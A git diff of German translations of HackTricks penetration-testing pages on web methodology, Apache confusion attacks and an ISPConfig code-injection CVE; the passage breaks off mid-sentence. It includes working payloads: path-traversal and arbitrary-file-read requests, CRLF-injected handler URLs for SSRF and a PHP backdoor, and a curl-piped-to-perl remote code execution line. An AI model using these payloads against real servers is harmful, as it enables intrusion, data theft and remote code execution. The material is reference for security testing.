`+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Oft musst du die verwendeten regulären Ausdrücke verstehen. Nützlich dafür sind: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex) -- Du könntest außerdem Seiten überwachen, bei denen Formulare erkannt wurden, da eine Änderung in Parametern oder das Erscheinen eines neuen Formulars auf eine potenziell neue verwundbare Funktionalität hinweisen kann. +- In vielen Fällen musst du die verwendeten regulären Ausdrücke verstehen. Das ist hilfreich: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex) +- Du könntest auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung von Parametern oder das Auftauchen eines neuen Formulars auf eine potenziell neue verwundbare Funktionalität hinweisen kann. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -312,28 +312,28 @@ Während du das **spidering** und **brute-forcing** durchführst, kannst du auf **502 Proxy Error** -Wenn eine Seite mit diesem Code antwortet, ist wahrscheinlich ein schlecht konfigurierter Proxy verantwortlich. **Wenn du eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** sendest (mit dem Host-Header und anderen üblichen Headern), wird der **Proxy** versuchen, _**google.com**_ zu erreichen und du hättest damit eine SSRF gefunden. +Wenn eine Seite mit diesem Code antwortet, ist vermutlich ein schlecht konfigurierter proxy im Spiel. **Wenn du eine HTTP-Request wie `GET https://google.com HTTP/1.1` sendest** (mit Host-Header und anderen üblichen Headern), wird der proxy versuchen, auf _**google.com**_ zuzugreifen und du hast damit wahrscheinlich ein SSRF gefunden. **NTLM Authentication - Info disclosure** -Wenn der anfragende Server für Authentication ein **Windows**-System ist oder du ein Login findest, das nach deinen **Credentials** (und nach einem **Domain** **Name**) fragt, kannst du eine **Information Disclosure** provozieren.\ -**Sende** den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise von **NTLM authentication** wird der Server interne Infos (IIS version, Windows version...) im Header "WWW-Authenticate" zurückgeben.\ +Wenn der Server, der zur Authentifizierung auffordert, **Windows** ist oder du ein Login siehst, das nach deinen **credentials** (und nach einem **domain name**) fragt, kannst du eine **Information Disclosure** provozieren.\ +**Sende** den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise von **NTLM authentication** wird der Server interne Informationen (IIS-Version, Windows-Version...) im Header "WWW-Authenticate" zurückgeben.\ Du kannst das mit dem **nmap plugin** "_http-ntlm-info.nse_" automatisieren. **HTTP Redirect (CTF)** -Es ist möglich, **Inhalt** in eine **Redirection** zu packen. Dieser Inhalt **wird dem Nutzer nicht angezeigt** (da der Browser die Redirection ausführt), aber es könnte etwas darin **versteckt** sein. +Es ist möglich, Content in einer **Redirection** unterzubringen. Dieser Content **wird dem Benutzer nicht angezeigt** (da der Browser die Weiterleitung ausführt), aber dort könnten Informationen **versteckt** sein. ### Web Vulnerabilities Checking -Nachdem eine umfassende Enumeration der Web-Applikation durchgeführt wurde, ist es Zeit, viele mögliche Vulnerabilities zu prüfen. Die Checkliste findest du hier: +Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Mehr Infos zu Web-Vulns: +Find more info about web vulns in: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -341,7 +341,7 @@ Mehr Infos zu Web-Vulns: ### Monitor Pages for changes -Du kannst Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die möglicherweise Vulnerabilities einführen. +Du kannst Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die verwundbare Änderungen einführen könnten. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 12828a0d0..4c559e46e 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Ausführbare PHP-Erweiterungen -Prüfe, welche PHP-Erweiterungen vom Apache-Server ausgeführt werden. Um sie zu finden, kannst du ausführen: +Überprüfe, welche Erweiterungen der Apache-Server ausführt. Um sie zu finden, kannst du folgenden Befehl ausführen: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Außerdem einige Orte, an denen du diese Konfiguration finden kannst: +Außerdem sind einige Orte, an denen Sie diese Konfiguration finden können: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,11 +21,11 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## LFI über .htaccess ErrorDocument file provider (ap_expr) +## LFI über .htaccess ErrorDocument Dateianbieter (ap_expr) -Wenn du die .htaccess eines Verzeichnisses kontrollieren kannst und AllowOverride für diesen Pfad FileInfo enthält, kannst du 404-Antworten dazu verwenden, beliebige lokale Dateien auszulesen, indem du die ap_expr file()-Funktion innerhalb von ErrorDocument verwendest. +Wenn du die .htaccess eines Verzeichnisses kontrollieren kannst und AllowOverride FileInfo für diesen Pfad eingeschlossen ist, kannst du 404-Antworten in beliebige lokale Dateilesen umwandeln, indem du die ap_expr file()-Funktion innerhalb von ErrorDocument verwendest. -- Voraussetzungen: +- Anforderungen: - Apache 2.4 mit aktiviertem Expression-Parser (ap_expr) (Standard in 2.4). - Der vhost/dir muss .htaccess erlauben, ErrorDocument zu setzen (AllowOverride FileInfo). - Der Apache worker user muss Leseberechtigungen für die Zieldatei haben. @@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Auslösen durch Anfordern eines nicht existierenden Pfads unterhalb dieses Verzeichnisses, zum Beispiel beim Missbrauch von userdir-style hosting: +Löse dies aus, indem du einen beliebigen nicht vorhandenen Pfad unterhalb dieses Verzeichnisses anforderst, zum Beispiel beim Missbrauch von userdir-style hosting: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` Hinweise und Tipps: -- Nur absolute Pfade funktionieren. Der Inhalt wird als Response-Body für den 404-Handler zurückgegeben. -- Effektive Leseberechtigungen entsprechen denen des Apache-Benutzers (typischerweise www-data/apache). In Standard-Setups wirst du /root/* oder /etc/shadow nicht lesen können. -- Selbst wenn .htaccess root-owned ist, wenn das übergeordnete Verzeichnis tenant-owned ist und Umbenennen erlaubt, kannst du eventuell das originale .htaccess umbenennen und per SFTP/FTP deine eigene Ersatzdatei hochladen: +- Es funktionieren nur absolute Pfade. Der Inhalt wird als Antwortkörper des 404-Handlers zurückgegeben. +- Die effektiven Lese-Rechte entsprechen dem Apache-Benutzer (typischerweise www-data/apache). In Standard-Setups kannst du nicht /root/* oder /etc/shadow lesen. +- Selbst wenn .htaccess root-owned ist, falls das übergeordnete Verzeichnis tenant-owned ist und rename erlaubt, kannst du möglicherweise das originale .htaccess umbenennen und per SFTP/FTP eine eigene Ersatzdatei hochladen: - rename .htaccess .htaccess.bk - put your malicious .htaccess -- Verwende dies, um Anwendungscode unter DocumentRoot oder vhost config paths zu lesen, um Secrets (DB creds, API keys, etc.) zu sammeln. +- Nutze dies, um Anwendungsquellcode unter DocumentRoot oder vhost config paths zu lesen und Secrets (DB creds, API keys, etc.) zu sammeln. ## Confusion Attack -Diese Art von Angriffen wurde [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) eingeführt und dokumentiert, und das Folgende ist eine Zusammenfassung. Der "confusion" Angriff missbraucht im Wesentlichen, dass die Dutzenden Module, die zusammen einen Apache bilden, nicht perfekt synchronisiert arbeiten; wenn einige davon unerwartete Daten verändern, kann das in einem späteren Modul eine Schwachstelle verursachen. +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. ### Filename Confusion #### Truncation -Der **`mod_rewrite`** wird den Inhalt von `r->filename` nach dem Zeichen `?` kürzen ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Das ist nicht grundsätzlich falsch, da die meisten Module `r->filename` als URL behandeln. Aber in anderen Fällen wird dies als Dateipfad behandelt, was ein Problem verursachen kann. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. - **Path Truncation** -Es ist möglich, `mod_rewrite` wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem man den letzten Teil des erwarteten Pfads entfernt und einfach ein `?` anhängt: +Es ist möglich, `mod_rewrite` wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem der letzte Teil des erwarteten Pfads entfernt wird, einfach indem ein `?` hinzugefügt wird: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F ``` - **Irreführende RewriteFlag-Zuweisung** -In der folgenden Rewrite-Regel wird alles, dessen URL auf .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die nach dem `?`-Zeichen auf .php endet, während im Pfad eine Datei eines anderen Typs (z. B. ein Bild) geladen wird, die bösartigen php-Code enthält: +In der folgenden RewriteRule wird eine URL, solange sie auf .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die nach dem `?`-Zeichen auf .php endet, während im Pfad ein anderes Dateiformat (z. B. ein Bild) geladen wird, das bösartigen php-Code enthält: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer keinen Zugriff haben sollte, obwohl der Zugriff durch Konfigurationen wie diese verweigert sein sollte: +Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer eigentlich keinen Zugriff haben sollte, selbst wenn der Zugriff durch Konfigurationen wie diese verweigert sein sollte: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Das liegt daran, dass PHP-FPM standardmäßig URLs empfängt, die auf `.php` enden, wie `http://server/admin.php%3Fooo.php`, und weil PHP-FPM alles nach dem Zeichen `?` entfernt, erlaubt die vorherige URL das Laden von `/admin.php`, selbst wenn die vorherige Regel dies verboten hat. +Das liegt daran, dass PHP-FPM standardmäßig URLs erhält, die auf `.php` enden, wie `http://server/admin.php%3Fooo.php`, und weil PHP-FPM alles nach dem Zeichen `?` entfernt, erlaubt die vorherige URL das Laden von `/admin.php`, selbst wenn die vorherige Regel dies verboten hat. -### Verwirrung um DocumentRoot +### DocumentRoot-Verwirrung ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Eine interessante Tatsache über Apache ist, dass die vorherige Rewrite-Anweisung versuchen wird, die Datei sowohl aus dem documentRoot als auch aus root zu laden. Daher wird eine Anfrage an `https://server/abouth.html` im Dateisystem nach der Datei in `/var/www/html/about.html` und `/about.html` suchen. Das kann im Grunde ausgenutzt werden, um auf Dateien im Dateisystem zuzugreifen. +Eine interessante Tatsache über Apache ist, dass das vorherige Rewrite versuchen wird, die Datei sowohl aus dem documentRoot als auch aus root zu öffnen. Eine Anfrage an `https://server/abouth.html` prüft also auf die Datei in `/var/www/html/about.html` und `/about.html` im Dateisystem. Das kann im Grunde missbraucht werden, um auf Dateien im Dateisystem zuzugreifen. -#### **Serverseitige Offenlegung des Quellcodes** +#### **Serverseitige Source Code Disclosure** -- **CGI-Quellcode offenlegen** +- **CGI Source Code offenlegen** -Allein das Anhängen von %3F am Ende reicht aus, um den Quellcode eines CGI-Moduls zu leaken: +Einfaches Anhängen von %3F am Ende reicht aus, um den Source Code eines cgi-Moduls zu leak: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -125,7 +125,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F ``` - **PHP-Quellcode offenlegen** -Wenn ein Server mehrere Domains hat, wobei eine davon eine statische Domain ist, kann dies missbraucht werden, um das Dateisystem zu durchsuchen und php code zu leak: +Wenn ein Server mehrere Domains hat, wobei eine davon eine statische Domain ist, kann dies missbraucht werden, um das Dateisystem zu traversieren und leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -Das Hauptproblem des vorherigen Angriffs ist, dass standardmäßig die meisten Zugriffe auf das Dateisystem verweigert werden, wie in der [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) von Apache HTTP Server: +Das Hauptproblem beim vorherigen Angriff ist, dass standardmäßig die meisten Zugriffe auf das Dateisystem, wie in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -Allerdings erlauben [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) Betriebssysteme standardmäßig den Zugriff auf `/usr/share`: +Allerdings erlauben [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) Betriebssysteme standardmäßig `/usr/share`: ```xml AllowOverride None Require all granted ``` -Daher wäre es möglich, **Dateien unter `/usr/share` in diesen Distributionen zu missbrauchen.** +Daher wäre es möglich, **Dateien innerhalb von `/usr/share` in diesen Distributionen zu missbrauchen.** -**Lokales Gadget für Information Disclosure** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** mit **websocketd** kann das **dump-env.php** Skript unter **/usr/share/doc/websocketd/examples/php/** exponieren, welches sensible Umgebungsvariablen leak. -- Server mit **Nginx** oder **Jetty** könnten sensible Informationen von Webanwendungen (z. B. **web.xml**) über ihre Standard-Webroots unter **/usr/share** exponieren: +- **Apache HTTP Server** mit **websocketd** kann das Skript **dump-env.php** unter **/usr/share/doc/websocketd/examples/php/** exponieren, was sensible Umgebungsvariablen leak. +- Server mit **Nginx** oder **Jetty** könnten sensible Webanwendungsinformationen (z. B. **web.xml**) über ihre Standard-Webroots unter **/usr/share** exponieren: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Lokales Gadget für XSS** +**Local Gadget to XSS** -- Auf Ubuntu Desktop mit installiertem **LibreOffice** kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu **Cross-Site Scripting (XSS)** führen. Das Manipulieren der URL bei **/usr/share/libreoffice/help/help.html** kann auf bösartige Seiten oder ältere Versionen umleiten durch eine unsichere RewriteRule. +- Auf Ubuntu Desktop mit installiertem **LibreOffice** kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu **Cross-Site Scripting (XSS)** führen. Das Manipulieren der URL bei **/usr/share/libreoffice/help/help.html** kann auf bösartige Seiten oder ältere Versionen umleiten durch eine unsichere **RewriteRule**. -**Lokales Gadget für LFI** +**Local Gadget to LFI** -- Wenn PHP oder bestimmte Frontend-Pakete wie **JpGraph** oder **jQuery-jFeed** installiert sind, können deren Dateien genutzt werden, um sensitive Dateien wie **/etc/passwd** zu lesen: +- Wenn PHP oder bestimmte Frontend-Pakete wie **JpGraph** oder **jQuery-jFeed** installiert sind, können deren Dateien ausgenutzt werden, um sensible Dateien wie **/etc/passwd** zu lesen: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Lokales Gadget für SSRF** +**Local Gadget to SSRF** -- Durch Nutzung von **MagpieRSS**'s magpie_debug.php unter **/usr/share/php/magpierss/scripts/magpie_debug.php** kann leicht eine SSRF-Schwachstelle erzeugt werden, die als Tor zu weiteren Exploits dient. +- Die Nutzung von MagpieRSSs **magpie_debug.php** unter **/usr/share/php/magpierss/scripts/magpie_debug.php** kann einfach eine **SSRF**-Schwachstelle erzeugen und dadurch ein Tor zu weiteren Exploits öffnen. -**Lokales Gadget für RCE** +**Local Gadget to RCE** -- Möglichkeiten für **Remote Code Execution (RCE)** sind vielfältig, etwa durch verwundbare Installationen wie veraltetes **PHPUnit** oder **phpLiteAdmin**. Diese können ausgenutzt werden, um beliebigen Code auszuführen und zeigen das große Potenzial der Manipulation lokaler Gadgets. +- Möglichkeiten für **Remote Code Execution (RCE)** sind zahlreich, etwa durch verwundbare Installationen wie veraltetes **PHPUnit** oder **phpLiteAdmin**. Diese können ausgenutzt werden, um beliebigen Code auszuführen und zeigen das hohe Potenzial der Manipulation lokaler Gadgets. -#### **Jailbreak von lokalen Gadgets** +#### **Jailbreak from Local Gadgets** -Es ist außerdem möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern erzeugt wurden, zum Beispiel: +Es ist auch möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern erzeugt wurden, wie: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,26 +186,25 @@ Es ist außerdem möglich, aus den erlaubten Ordnern auszubrechen, indem man Sym - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Außerdem war es durch das Ausnutzen von Symlinks möglich, **RCE in Redmine** zu erlangen. +Außerdem war es durch Missbrauch von Symlinks möglich, **RCE in Redmine** zu erhalten. -### Handler-Verwirrung +### Handler Confusion -Dieser Angriff nutzt die Überschneidung der Funktionalität zwischen den Direktiven `AddHandler` und `AddType`, die beide verwendet werden können, um **PHP-Verarbeitung** zu aktivieren. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (`r->handler` bzw. `r->content_type`) in der internen Serverstruktur. Aufgrund von Legacy-Code behandelt Apache diese Direktiven jedoch unter bestimmten Bedingungen austauschbar und konvertiert `r->content_type` in `r->handler`, falls ersteres gesetzt ist und letzteres nicht. +Dieser Angriff nutzt die Überschneidung der Funktionalität zwischen den Direktiven **AddHandler** und **AddType**, die beide verwendet werden können, um PHP-Verarbeitung zu ermöglichen. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (resp. **r->handler** und **r->content_type**) in der internen Serverstruktur. Aufgrund von Legacy-Code behandelt Apache diese Direktiven jedoch unter bestimmten Bedingungen austauschbar, indem **r->content_type** in **r->handler** umgewandelt wird, falls ersteres gesetzt ist und letzteres nicht. -Außerdem verwendet der Apache HTTP Server (`server/config.c#L420`) `r->content_type` als Handler, falls `r->handler` vor dem Aufruf von `ap_run_handler()` leer ist, wodurch `AddType` und `AddHandler` effektiv die gleiche Wirkung haben. +Außerdem, im Apache HTTP Server (`server/config.c#L420`), wenn **r->handler** vor dem Aufruf von **ap_run_handler()** leer ist, verwendet der Server **r->content_type** als Handler, wodurch **AddType** und **AddHandler** praktisch dieselbe Wirkung haben. -#### **Handler überschreiben, um PHP-Quellcode offenzulegen** +#### **Overwrite Handler to Disclose PHP Source Code** -In [**diesem Vortrag**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) wurde eine Schwachstelle vorgestellt, bei der ein vom Client gesendeter falscher `Content-Length` dazu führen kann, dass Apache fälschlicherweise **den PHP-Quellcode zurückgibt**. Ursache war ein Fehler im Error-Handling mit ModSecurity und dem Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass `r->content_type` auf `text/html` überschrieben wird.\ -Weil ModSecurity Rückgabewerte nicht korrekt behandelt, würde es den PHP-Code zurückgeben und nicht interpretieren. +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) wurde eine Schwachstelle vorgestellt, bei der eine falsche `Content-Length`, die ein Client sendet, dazu führen kann, dass Apache irrtümlich den PHP-Quellcode zurückgibt. Dies lag an einem Fehler im Fehlerhandling mit ModSecurity und dem Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass **r->content_type** auf `text/html` überschrieben wird.\ Weil ModSecurity Rückgabewerte nicht korrekt behandelt, würde es den PHP-Code zurückgeben und ihn nicht interpretieren. -#### **Handler überschreiben zu XXXX** +#### **Overwrite Handler to XXXX** -TODO: Orange hat diese Schwachstelle noch nicht offengelegt +TODO: Orange hat diese Schwachstelle noch nicht bekanntgegeben -### **Beliebige Handler aufrufen** +### **Invoke Arbitrary Handlers** -Wenn ein Angreifer in der Lage ist, den Header `Content-Type` in einer Serverantwort zu kontrollieren, kann er **beliebige Modul-Handler aufrufen**. Bis zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, ist jedoch der Großteil der Anfrageverarbeitung bereits erfolgt. Es ist allerdings möglich, den Anfrageprozess durch Missbrauch des `Location`-Headers neu zu starten, denn wenn der zurückgegebene `Status` 200 ist und der `Location`-Header mit einem `/` beginnt, wird die Antwort als Server-seitige Umleitung behandelt und erneut verarbeitet. +Wenn ein Angreifer die **`Content-Type`**-Header einer Serverantwort kontrollieren kann, wird er beliebige Modul-Handler aufrufen können. Zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, ist jedoch bereits der Großteil der Anfrageverarbeitung abgeschlossen. Es ist jedoch möglich, den Anfrageprozess durch Missbrauch des **`Location`**-Headers neu zu starten, denn wenn der zurückgegebene `Status` 200 ist und der `Location`-Header mit einem `/` beginnt, wird die Antwort als serverseitige Umleitung behandelt und erneut verarbeitet According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: @@ -214,18 +213,18 @@ According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specific Um diesen Angriff durchzuführen, wird eine der folgenden Schwachstellen benötigt: - CRLF Injection in the CGI response headers -- SSRF mit vollständiger Kontrolle über die response headers +- SSRF with complete control of the response headers -#### **Beliebiger Handler für Information Disclosure** +#### **Arbitrary Handler to Information Disclosure** -Beispielsweise sollte `/server-status` nur lokal zugänglich sein: +Zum Beispiel sollte **/server-status** nur lokal zugänglich sein: ```xml SetHandler server-status Require local ``` -Es ist möglich, darauf zuzugreifen, indem man den `Content-Type` auf `server-status` setzt und den Location-Header mit `/` beginnen lässt. +Es ist möglich, darauf zuzugreifen, indem man `Content-Type` auf `server-status` setzt und den Location-Header so setzt, dass er mit `/` beginnt. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a @@ -234,7 +233,7 @@ Content-Type:server-status %0d%0a ``` #### **Beliebiger Handler zu vollständigem SSRF** -Weiterleitung an `mod_proxy`, um auf jedes Protokoll jeder URL zuzugreifen: +Weiterleitung an `mod_proxy`, um auf jedes Protokoll bei jeder URL zuzugreifen: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,11 +242,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Allerdings wird der `X-Forwarded-For`-Header hinzugefügt, wodurch der Zugriff auf Cloud-Metadaten-Endpunkte verhindert wird. +Allerdings wird der Header `X-Forwarded-For` hinzugefügt, was den Zugriff auf Cloud-Metadaten-Endpunkte verhindert. -#### **Arbitrary Handler to Access Local Unix Domain Socket** +#### **Beliebiger Handler zum Zugriff auf lokale Unix Domain Socket** -Zugriff auf den lokalen Unix Domain Socket von PHP-FPM, um eine PHP backdoor im Verzeichnis `/tmp/` auszuführen: +Greife auf den lokalen Unix Domain Socket von PHP-FPM zu, um eine in `/tmp/` abgelegte PHP-Backdoor auszuführen: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -256,7 +255,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Arbitrary Handler to RCE** -Das offizielle [PHP Docker](https://hub.docker.com/_/php) Image enthält PEAR (`Pearcmd.php`), ein Kommandozeilen-Tool zur Verwaltung von PHP-Paketen, das missbraucht werden kann, um RCE zu erlangen: +Das offizielle [PHP Docker](https://hub.docker.com/_/php) Image enthält PEAR (`Pearcmd.php`), ein Kommandozeilen-PHP-Paketverwaltungs-Tool, das missbraucht werden kann, um RCE zu erlangen: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -265,9 +264,9 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Siehe [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geschrieben von [Phith0n](https://x.com/phithon_xg) für Details dieser Technik. +Siehe [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geschrieben von [Phith0n](https://x.com/phithon_xg) für Details zu dieser Technik. -## Referenzen +## Quellen - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) - [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index 60ddde60a..7f081cca7 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -2,38 +2,38 @@ {{#include ../../banners/hacktricks-training.md}} -## Übersicht +## Überblick -ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Builds enthielten eine Language-File-Editor-Funktion, die, wenn sie für den Super-Administrator aktiviert war, das Einschleusen beliebigen PHP-Codes über einen fehlerhaften Übersetzungsdatensatz erlaubte. Dies kann RCE im Webserver-Kontext ermöglichen und — je nachdem, wie PHP ausgeführt wird — zur Privilegieneskalation führen. +ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Builds enthielten eine Sprachdatei-Editor-Funktion, die, wenn sie für den Super-Administrator aktiviert war, über einen fehlerhaften Übersetzungsdatensatz beliebige PHP-Code-Injektion erlaubte. Dies kann RCE im Webserver-Kontext ermöglichen und — je nachdem, wie PHP ausgeführt wird — zur Rechteeskalation führen. Wichtige Standardpfade: -- Webroot befindet sich häufig unter `/var/www/ispconfig`, wenn mit `php -S` oder via Apache/nginx ausgeliefert. -- Admin-UI erreichbar auf dem HTTP(S) vhost (manchmal nur an localhost gebunden; bei Bedarf SSH-Port-Forward verwenden). +- Das Web-Root befindet sich oft unter `/var/www/ispconfig`, wenn es mit `php -S` oder über Apache/nginx ausgeliefert wird. +- Die Admin-UI ist im HTTP(S)-vhost erreichbar (manchmal nur an localhost gebunden; verwende bei Bedarf eine SSH-Portweiterleitung). -Tipp: Wenn das Panel lokal gebunden ist (z. B. `127.0.0.1:8080`), per SSH-Port-Forward weiterleiten: +Tipp: Wenn das Panel lokal gebunden ist (z. B. `127.0.0.1:8080`), weiterleiten: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` -## Language editor PHP code injection (CVE-2023-46818) +## Spracheditor PHP code injection (CVE-2023-46818) -- Betroffen: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- Betroffen: ISPConfig bis 3.2.11 (behoben in 3.2.11p1) - Voraussetzungen: -- Einloggen als das eingebaute Superadmin-Konto `admin` (andere Rollen sind laut Hersteller nicht betroffen) -- Der Language-Editor muss aktiviert sein: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` -- Auswirkung: Authentifizierter Admin kann beliebigen PHP-Code injizieren, der in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Web-Kontext erreicht wird +- Login mit dem eingebauten Superadmin-Account `admin` (anderen Rollen sind laut Vendor nicht betroffen) +- Language editor muss aktiviert sein: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` +- Impact: Authenticated admin kann beliebiges PHP injizieren, das in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Web-Kontext erreicht wird -Referenzen: NVD-Eintrag CVE-2023-46818 und der 